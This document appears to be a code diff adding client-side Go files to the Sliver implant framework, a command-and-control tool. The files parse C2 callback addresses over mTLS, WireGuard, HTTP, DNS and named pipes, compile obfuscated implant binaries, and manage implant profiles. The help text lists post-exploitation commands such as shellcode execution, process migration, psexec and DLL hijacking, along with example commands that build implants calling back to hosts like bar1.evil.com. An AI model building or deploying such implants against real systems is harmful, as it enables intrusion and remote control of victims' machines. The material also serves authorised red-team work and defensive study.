+			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
+		}
+		c2s = append(c2s, &clientpb.ImplantC2{
+			Priority: uint32(index),
+			URL:      uri.String(),
+		})
+	}
+	return c2s, nil
+}
+
+// ParseHTTPc2 - Parse HTTP connection string arg
+func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
+	c2s := []*clientpb.ImplantC2{}
+	if args == "" {
+		return c2s, nil
+	}
+	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
+		c2s = append(c2s, &clientpb.ImplantC2{
+			Priority: uint32(index),
+			URL:      uri.String(),
+		})
+	}
+	return c2s, nil
+}
+
+// ParseDNSc2 - Parse DNS connection string arg
+func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
+	c2s := []*clientpb.ImplantC2{}
+	if args == "" {
+		return c2s, nil
+	}
+	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "dns://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("dns://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
+		c2s = append(c2s, &clientpb.ImplantC2{
+			Priority: uint32(index),
+			URL:      uri.String(),
+		})
+	}
+	return c2s, nil
+}
+
+// ParseNamedPipec2 - Parse named pipe connection string arg
+func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
+	c2s := []*clientpb.ImplantC2{}
+	if args == "" {
+		return c2s, nil
+	}
+	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "named-pipe://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
+		c2s = append(c2s, &clientpb.ImplantC2{
+			Priority: uint32(index),
+			URL:      uri.String(),
+		})
+	}
+	return c2s, nil
+}
+
+// ParseTCPPivotc2 - Parse tcp pivot connection string arg
+func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
+	c2s := []*clientpb.ImplantC2{}
+	if args == "" {
+		return c2s, nil
+	}
+	for index, arg := range strings.Split(args, ",") {
+		arg = strings.ToLower(arg)
+		var uri *url.URL
+		var err error
+		if strings.HasPrefix(arg, "tcp-pivot://") {
+			uri, err = url.Parse(arg)
+			if err != nil {
+				return nil, err
+			}
+		} else {
+			uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
+			if err != nil {
+				return nil, err
+			}
+		}
+		c2s = append(c2s, &clientpb.ImplantC2{
+			Priority: uint32(index),
+			URL:      uri.String(),
+		})
+	}
+	return c2s, nil
+}
+
+func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
+	if config.IsBeacon {
+		interval := time.Duration(config.BeaconInterval)
+		con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
+	} else {
+		con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
+	}
+	if config.ObfuscateSymbols {
+		con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
+	} else if !config.Debug {
+		con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
+	}
+
+	start := time.Now()
+	ctrl := make(chan bool)
+	con.SpinUntil("Compiling, please wait ...", ctrl)
+
+	generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
+		Config: config,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil, err
+	}
+
+	end := time.Now()
+	elapsed := time.Time{}.Add(end.Sub(start))
+	con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
+	if len(generated.File.Data) == 0 {
+		con.PrintErrorf("Build failed, no file data\n")
+		return nil, errors.New("no file data")
+	}
+
+	saveTo, err := saveLocation(save, generated.File.Name)
+	if err != nil {
+		return nil, err
+	}
+
+	err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
+	if err != nil {
+		con.PrintErrorf("Failed to write to: %s\n", saveTo)
+		return nil, err
+	}
+	con.PrintInfof("Implant saved to %s\n", saveTo)
+	return generated.File, err
+}
+
+func getLimitsString(config *clientpb.ImplantConfig) string {
+	limits := []string{}
+	if config.LimitDatetime != "" {
+		limits = append(limits, fmt.Sprintf("datetime=%s", config.LimitDatetime))
+	}
+	if config.LimitDomainJoined {
+		limits = append(limits, fmt.Sprintf("domainjoined=%v", config.LimitDomainJoined))
+	}
+	if config.LimitUsername != "" {
+		limits = append(limits, fmt.Sprintf("username=%s", config.LimitUsername))
+	}
+	if config.LimitHostname != "" {
+		limits = append(limits, fmt.Sprintf("hostname=%s", config.LimitHostname))
+	}
+	if config.LimitFileExists != "" {
+		limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
+	}
+	return strings.Join(limits, "; ")
+}
+
+func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
+	if format == clientpb.OutputFormat_EXECUTABLE {
+		return true // We don't need cross-compilers when targeting EXECUTABLE formats
+	}
+
+	compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("Failed to check target compatibility: %s\n", err)
+		return true
+	}
+
+	if runtime.GOOS != "windows" && targetOS == "windows" {
+		if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
+			return warnMissingCrossCompiler(format, targetOS, targetArch, con)
+		}
+	}
+
+	if runtime.GOOS != "darwin" && targetOS == "darwin" {
+		if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
+			return warnMissingCrossCompiler(format, targetOS, targetArch, con)
+		}
+	}
+
+	if runtime.GOOS != "linux" && targetOS == "linux" {
+		if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
+			return warnMissingCrossCompiler(format, targetOS, targetArch, con)
+		}
+	}
+
+	return true
+}
+
+func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossCompiler) bool {
+	for _, cc := range crossCompilers {
+		if cc.GetTargetGOOS() == targetOS && cc.GetTargetGOARCH() == targetArch {
+			return true
+		}
+	}
+	return false
+}
+
+func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
+	con.PrintWarnf("Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
+	switch targetOS {
+	case "windows":
+		con.PrintWarnf("The server cannot find an installation of mingw")
+	case "darwin":
+		con.PrintWarnf("The server cannot find an installation of osxcross")
+	case "linux":
+		con.PrintWarnf("The server cannot find an installation of musl-cross")
+	}
+	con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
+
+	confirm := false
+	prompt := &survey.Confirm{Message: "Try to compile anyways (will likely fail)?"}
+	survey.AskOne(prompt, &confirm, nil)
+	return confirm
+}

client/command/generate/helpers.go

@@ -0,0 +1,57 @@
+package generate
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+// GetSliverBinary - Get the binary of an implant based on it's profile
+func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
+	var data []byte
+	// get implant builds
+	builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return data, err
+	}
+
+	implantName := buildImplantName(profile.GetConfig().GetName())
+	_, ok := builds.GetConfigs()[implantName]
+	if implantName == "" || !ok {
+		// no built implant found for profile, generate a new one
+		con.PrintInfof("No builds found for profile %s, generating a new one\n", profile.GetName())
+		ctrl := make(chan bool)
+		con.SpinUntil("Compiling, please wait ...", ctrl)
+
+		generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
+			Config: profile.Config,
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("Error generating implant\n")
+			return data, err
+		}
+		data = generated.GetFile().GetData()
+		profile.Config.Name = buildImplantName(generated.GetFile().GetName())
+		_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
+		if err != nil {
+			con.PrintErrorf("Error updating implant profile\n")
+			return data, err
+		}
+	} else {
+		// Found a build, reuse that one
+		con.PrintInfof("Sliver name for profile: %s\n", implantName)
+		regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
+			ImplantName: profile.GetConfig().GetName(),
+		})
+
+		if err != nil {
+			return data, err
+		}
+		data = regenerate.GetFile().GetData()
+	}
+	return data, err
+}

client/command/generate/implants-rm.go

@@ -0,0 +1,20 @@
+package generate
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// ImplantsRmCmd - Deletes an archived implant build from the server
+func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
+		Name: ctx.Args.String("implant-name"),
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to delete implant %s\n", err)
+		return
+	}
+}

client/command/generate/implants.go

@@ -0,0 +1,89 @@
+package generate
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"fmt"
+	"io"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+// ImplantsCmd - Displays archived implant builds
+func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if 0 < len(builds.Configs) {
+		displayAllImplantBuilds(con.App.Stdout(), builds.Configs)
+	} else {
+		con.PrintInfof("No implant builds\n")
+	}
+}
+
+func displayAllImplantBuilds(stdout io.Writer, configs map[string]*clientpb.ImplantConfig) {
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	fmt.Fprintf(table, "Name\tOS/Arch\tDebug\tFormat\tCommand & Control\t\n")
+	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+		strings.Repeat("=", len("Name")),
+		strings.Repeat("=", len("OS/Arch")),
+		strings.Repeat("=", len("Debug")),
+		strings.Repeat("=", len("Format")),
+		strings.Repeat("=", len("Command & Control")),
+	)
+
+	for sliverName, config := range configs {
+		if 0 < len(config.C2) {
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+				sliverName,
+				fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
+				fmt.Sprintf("%v", config.Debug),
+				config.Format,
+				fmt.Sprintf("[1] %s", config.C2[0].URL),
+			)
+		}
+		if 1 < len(config.C2) {
+			for index, c2 := range config.C2[1:] {
+				fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
+					"",
+					"",
+					"",
+					"",
+					fmt.Sprintf("[%d] %s", index+2, c2.URL),
+				)
+			}
+		}
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n", "", "", "", "", "")
+	}
+	table.Flush()
+	fmt.Fprintf(stdout, "%s", outputBuf.String())
+}

client/command/generate/profiles-generate.go

@@ -0,0 +1,61 @@
+package generate
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// ProfilesGenerateCmd - Generate an implant binary based on a profile
+func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Flags.String("name")
+	if name == "" {
+		con.PrintErrorf("no profile selected")
+		return
+	}
+	save := ctx.Flags.String("save")
+	if save == "" {
+		save, _ = os.Getwd()
+	}
+	profile := GetImplantProfileByName(name, con)
+	if profile != nil {
+		implantFile, err := compile(profile.Config, save, con)
+		if err != nil {
+			return
+		}
+		profile.Config.Name = buildImplantName(implantFile.Name)
+		_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
+		if err != nil {
+			con.PrintErrorf("could not update implant profile: %v\n", err)
+			return
+		}
+	} else {
+		con.PrintErrorf("No profile with name '%s'", name)
+	}
+}
+
+func buildImplantName(name string) string {
+	return strings.TrimSuffix(name, filepath.Ext(name))
+}

client/command/generate/profiles-new.go

@@ -0,0 +1,32 @@
+package generate
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// ProfilesNewCmd - Create a new implant profile
+func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	name := ctx.Flags.String("profile-name")
+	if name == "" {
+		con.PrintErrorf("Invalid profile name\n")
+		return
+	}
+	config := parseCompileFlags(ctx, con)
+	if config == nil {
+		return
+	}
+	profile := &clientpb.ImplantProfile{
+		Name:   name,
+		Config: config,
+	}
+	resp, err := con.Rpc.SaveImplantProfile(context.Background(), profile)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	} else {
+		con.PrintInfof("Saved new profile %s\n", resp.Name)
+	}
+}

client/command/generate/profiles-rm.go

@@ -0,0 +1,20 @@
+package generate
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// ProfilesRmCmd - Delete an implant profile
+func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
+		Name: ctx.Args.String("profile-name"),
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to delete profile %s\n", err)
+		return
+	}
+}

client/command/generate/profiles.go

@@ -0,0 +1,116 @@
+package generate
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+)
+
+// ProfilesCmd - Display implant profiles
+func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	profiles := getImplantProfiles(con)
+	if profiles == nil {
+		return
+	}
+	if len(profiles) == 0 {
+		con.PrintInfof("No profiles, create one with `%s`\n", consts.NewStr)
+		return
+	}
+	table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
+	fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
+	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
+		strings.Repeat("=", len("Name")),
+		strings.Repeat("=", len("Platform")),
+		strings.Repeat("=", len("Command & Control")),
+		strings.Repeat("=", len("Debug")),
+		strings.Repeat("=", len("Format")),
+		strings.Repeat("=", len("Obfuscation")),
+		strings.Repeat("=", len("Limitations")),
+	)
+
+	for _, profile := range profiles {
+		config := profile.Config
+		if 0 < len(config.C2) {
+			obfuscation := "strings only"
+			if config.ObfuscateSymbols {
+				obfuscation = "symbols obfuscation"
+			}
+			if config.Debug {
+				obfuscation = "none"
+			}
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
+				profile.Name,
+				fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
+				fmt.Sprintf("[1] %s", config.C2[0].URL),
+				fmt.Sprintf("%v", config.Debug),
+				fmt.Sprintf("%v", config.Format),
+				obfuscation,
+				getLimitsString(config),
+			)
+		}
+		if 1 < len(config.C2) {
+			for index, c2 := range config.C2[1:] {
+				fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
+					"",
+					"",
+					fmt.Sprintf("[%d] %s", index+2, c2.URL),
+					"",
+					"",
+					"",
+					"",
+				)
+			}
+		}
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
+	}
+	table.Flush()
+}
+
+func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
+	pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("Error %s", err)
+		return nil
+	}
+	return pbProfiles.Profiles
+}
+
+func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
+	pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("Error %s", err)
+		return nil
+	}
+	for _, profile := range pbProfiles.Profiles {
+		if profile.Name == name {
+			return profile
+		}
+	}
+	return nil
+}

client/command/generate/regenerate.go

@@ -0,0 +1,60 @@
+package generate
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"io/ioutil"
+	"os"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// RegenerateCmd - Download an archived implant build/binary
+func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	save := ctx.Flags.String("save")
+	if save == "" {
+		save, _ = os.Getwd()
+	}
+
+	regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
+		ImplantName: ctx.Args.String("implant-name"),
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to regenerate implant %s\n", err)
+		return
+	}
+	if regenerate.File == nil {
+		con.PrintErrorf("Failed to regenerate implant (no data)\n")
+		return
+	}
+	saveTo, err := saveLocation(save, regenerate.File.Name)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
+	if err != nil {
+		con.PrintErrorf("Failed to write to %s\n", err)
+		return
+	}
+	con.PrintInfof("Implant binary saved to: %s\n", saveTo)
+}

client/command/help/README.md

@@ -0,0 +1,4 @@
+Help
+====
+
+This package contains all of the long-form command help templates that are displayed when a user types `help <cmd>`

client/command/help/help.go

@@ -0,0 +1,123 @@
+package help
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"sort"
+
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+
+	"github.com/desertbit/columnize"
+	"github.com/desertbit/grumble"
+)
+
+// HelpCmd - Returns an instance of the 'help' command
+func HelpCmd(con *console.SliverConsoleClient) func(a *grumble.App, shell bool) {
+	return func(a *grumble.App, shell bool) {
+		printHelp(con)
+	}
+}
+
+func printHelp(con *console.SliverConsoleClient) {
+	config := columnize.DefaultConfig()
+	config.Delim = "|"
+	config.Glue = "  "
+	config.Prefix = "  "
+	// Group the commands by their help group if present.
+	groups := make(map[string]*grumble.Commands)
+	for _, c := range con.App.Commands().All() {
+		key := c.HelpGroup
+		targetOS := ""
+		session, beacon := con.ActiveTarget.GetInteractive()
+		if session != nil {
+			targetOS = session.OS
+		} else if beacon != nil {
+			targetOS = beacon.OS
+		}
+		if beacon != nil || session != nil {
+			if targetOS != "windows" && key == consts.SliverWinHelpGroup {
+				continue
+			}
+		} else {
+			if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
+				continue
+			}
+		}
+		if len(key) == 0 {
+			key = "Commands:"
+		}
+		cc := groups[key]
+		if cc == nil {
+			cc = new(grumble.Commands)
+			groups[key] = cc
+		}
+		cc.Add(c)
+	}
+
+	// Sort the map by the keys.
+	var keys []string
+	for k := range groups {
+		keys = append(keys, k)
+	}
+	sort.Strings(keys)
+
+	// Print each commands group.
+	for _, headline := range keys {
+		cc := groups[headline]
+		cc.Sort()
+
+		var output []string
+		for _, c := range cc.All() {
+			name := c.Name
+			for _, a := range c.Aliases {
+				name += ", " + a
+			}
+			output = append(output, fmt.Sprintf("%s | %v", name, c.Help))
+		}
+
+		if len(output) > 0 {
+			con.Println()
+			printHeadline(con.App.Config(), headline, con)
+			con.Printf("%s\n", columnize.Format(output, config))
+		}
+	}
+}
+
+func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {
+	if c.NoColor || c.HelpHeadlineColor == nil {
+		return con.Println
+	}
+	return c.HelpHeadlineColor.Println
+}
+
+func printHeadline(config *grumble.Config, s string, con *console.SliverConsoleClient) {
+	println := headlinePrinter(config, con)
+	if config.HelpHeadlineUnderline {
+		println(s)
+		u := ""
+		for i := 0; i < len(s); i++ {
+			u += "="
+		}
+		println(u)
+	} else {
+		println(s)
+	}
+}

client/command/help/long-help.go

@@ -0,0 +1,725 @@
+package help
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+	---
+	This file contains all of the long-form help templates, all commands should have a long form help,
+	even if the command is pretty simple. Try to include example commands in your template.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	"strings"
+	"text/template"
+
+	consts "github.com/bishopfox/sliver/client/constants"
+)
+
+const (
+	sep = "."
+)
+
+var (
+
+	// NOTE: For sub-commands use a "." hierarchy, for example root.sub for "sub" help
+	cmdHelp = map[string]string{
+		consts.JobsStr:          jobsHelp,
+		consts.SessionsStr:      sessionsHelp,
+		consts.BackgroundStr:    backgroundHelp,
+		consts.InfoStr:          infoHelp,
+		consts.UseStr:           useHelp,
+		consts.GenerateStr:      generateHelp,
+		consts.StagerStr:        generateStagerHelp,
+		consts.StageListenerStr: stageListenerHelp,
+
+		consts.MsfStr:              msfHelp,
+		consts.MsfInjectStr:        msfInjectHelp,
+		consts.PsStr:               psHelp,
+		consts.PingStr:             pingHelp,
+		consts.KillStr:             killHelp,
+		consts.LsStr:               lsHelp,
+		consts.CdStr:               cdHelp,
+		consts.PwdStr:              pwdHelp,
+		consts.CatStr:              catHelp,
+		consts.DownloadStr:         downloadHelp,
+		consts.UploadStr:           uploadHelp,
+		consts.MkdirStr:            mkdirHelp,
+		consts.RmStr:               rmHelp,
+		consts.ProcdumpStr:         procdumpHelp,
+		consts.ElevateStr:          elevateHelp,
+		consts.RunAsStr:            runAsHelp,
+		consts.ImpersonateStr:      impersonateHelp,
+		consts.RevToSelfStr:        revToSelfHelp,
+		consts.ExecuteAssemblyStr:  executeAssemblyHelp,
+		consts.ExecuteShellcodeStr: executeShellcodeHelp,
+		consts.MigrateStr:          migrateHelp,
+		consts.SideloadStr:         sideloadHelp,
+		consts.TerminateStr:        terminateHelp,
+		consts.LoadMacroStr:        loadMacrosHelp,
+		consts.PsExecStr:           psExecHelp,
+		consts.BackdoorStr:         backdoorHelp,
+		consts.SpawnDllStr:         spawnDllHelp,
+
+		consts.WebsitesStr:                  websitesHelp,
+		consts.ScreenshotStr:                screenshotHelp,
+		consts.MakeTokenStr:                 makeTokenHelp,
+		consts.EnvStr:                       getEnvHelp,
+		consts.EnvStr + sep + consts.SetStr: setEnvHelp,
+		consts.RegistryWriteStr:             regWriteHelp,
+		consts.RegistryReadStr:              regReadHelp,
+		consts.RegistryCreateKeyStr:         regCreateKeyHelp,
+		consts.PivotsStr:                    pivotsHelp,
+		consts.WgPortFwdStr:                 wgPortFwdHelp,
+		consts.WgSocksStr:                   wgSocksHelp,
+		consts.SSHStr:                       sshHelp,
+		consts.DLLHijackStr:                 dllHijackHelp,
+		consts.GetPrivsStr:                  getPrivsHelp,
+
+		// Loot
+		consts.LootStr: lootHelp,
+
+		// Profiles
+		consts.ProfilesStr + sep + consts.NewStr:      newProfileHelp,
+		consts.ProfilesStr + sep + consts.GenerateStr: generateProfileHelp,
+
+		// Reactions
+		consts.ReactionStr:                         reactionHelp,
+		consts.ReactionStr + sep + consts.SetStr:   reactionSetHelp,
+		consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
+	}
+
+	jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
+	[[.Bold]]About:[[.Normal]] Manage jobs/listeners.`
+
+	sessionsHelp = `[[.Bold]]Command:[[.Normal]] sessions <options>
+[[.Bold]]About:[[.Normal]] List Sliver sessions, and optionally interact or kill a session.`
+
+	backgroundHelp = `[[.Bold]]Command:[[.Normal]] background
+[[.Bold]]About:[[.Normal]] Background the active Sliver.`
+
+	infoHelp = `[[.Bold]]Command:[[.Normal]] info <sliver name/session>
+[[.Bold]]About:[[.Normal]] Get information about a Sliver by name, or for the active Sliver.`
+
+	useHelp = `[[.Bold]]Command:[[.Normal]] use [sliver name/session]
+[[.Bold]]About:[[.Normal]] Switch the active Sliver, a valid name must be provided (see sessions).`
+
+	generateHelp = `[[.Bold]]Command:[[.Normal]] generate <options>
+[[.Bold]]About:[[.Normal]] Generate a new sliver binary and saves the output to the cwd or a path specified with --save.
+
+[[.Bold]][[.Underline]]++ Command and Control ++[[.Normal]]
+You must specificy at least one c2 endpoint when generating an implant, this can be one or more of --mtls, --wg, --http, or --dns, --named-pipe, or --tcp-pivot.
+The command requires at least one use of --mtls, --wg, --http, or --dns, --named-pipe, or --tcp-pivot.
+
+The follow command is used to generate a sliver Windows executable (PE) file, that will connect back to the server using mutual-TLS:
+	generate --mtls foo.example.com 
+
+The follow command is used to generate a sliver Windows executable (PE) file, that will connect back to the server using Wireguard on UDP port 9090,
+then connect to TCP port 1337 on the server's virtual tunnel interface to retrieve new wireguard keys, re-establish the wireguard connection using the new keys, 
+then connect to TCP port 8888 on the server's virtual tunnel interface to establish c2 comms.
+	generate --wg 3.3.3.3:9090 --key-exchange 1337 --tcp-comms 8888
+
+You can also stack the C2 configuration with multiple protocols:
+	generate --os linux --mtls example.com,domain.com --http bar1.evil.com,bar2.attacker.com --dns baz.bishopfox.com
+
+
+[[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
